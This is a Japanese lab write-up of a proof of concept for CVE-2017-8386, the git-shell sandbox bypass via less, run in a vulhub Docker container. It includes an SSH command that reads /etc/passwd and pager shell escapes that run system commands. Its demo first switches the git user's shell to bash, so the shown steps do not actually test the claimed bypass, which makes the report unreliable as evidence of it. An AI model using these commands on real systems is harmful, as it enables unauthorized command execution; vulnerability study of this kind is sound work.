
CVE-2017-8386 Git-Shellサンドボックスバイパス脆弱性のPoC。
정수진(@suz1n)
Git-shell は SSH を介して制限された git コマンドのみを許可する環境を提供します。しかし、特定のバージョンの git-shell(2.12.2 など)では、less コマンドを悪用してサンドボックスを回避し、システムコマンドを実行できる脆弱性(CVE-2017-8386)が存在します。
本レポートは、当該脆弱性に対する PoC を実施し、その過程をまとめたものです。
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• Ubuntu 16.04 ベースイメージ
• Git 2.12.2 ソースインストール
• OpenSSH サーバーのインストールと実行
• git-shell 環境の設定(git ユーザーの作成)
docker-compose build
docker-compose up -d
docker ps
• コンテナの稼働確認(git-shell-cve-2017-8386)

1. ローカルで id_rsa.pub を生成してコピー
2. コンテナ内にアクセスして git ユーザーに切り替え
3. authorized_keys を登録
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• PoC 実行のために less、man パッケージのインストール完了
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• less 画面への進入に成功
• ! コマンドによりシステムコマンドを実行可能
• !id -> ユーザー ID、グループ ID を出力

• !whoami -> 現在のユーザー(git)
• !uname -a -> システムのカーネル情報を出力
• !ls /home/git -> git ホームディレクトリのファイル一覧を出力
• git-shell 環境では、ユーザーがシステムコマンドを実行できないように制限されている。
• しかし、`git-upload-archive --help` コマンドを介して内部的に less を呼び出すことが可能。
• less コマンドは ! 機能によりシステムシェルコマンドの実行をサポートしている。
• 結果として、git-shell のサンドボックスを回避して任意のコマンドを実行することが可能。
• Insinuator ブログ: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
• Vulhub GitHub リポジトリ: https://github.com/phith0n/vulhub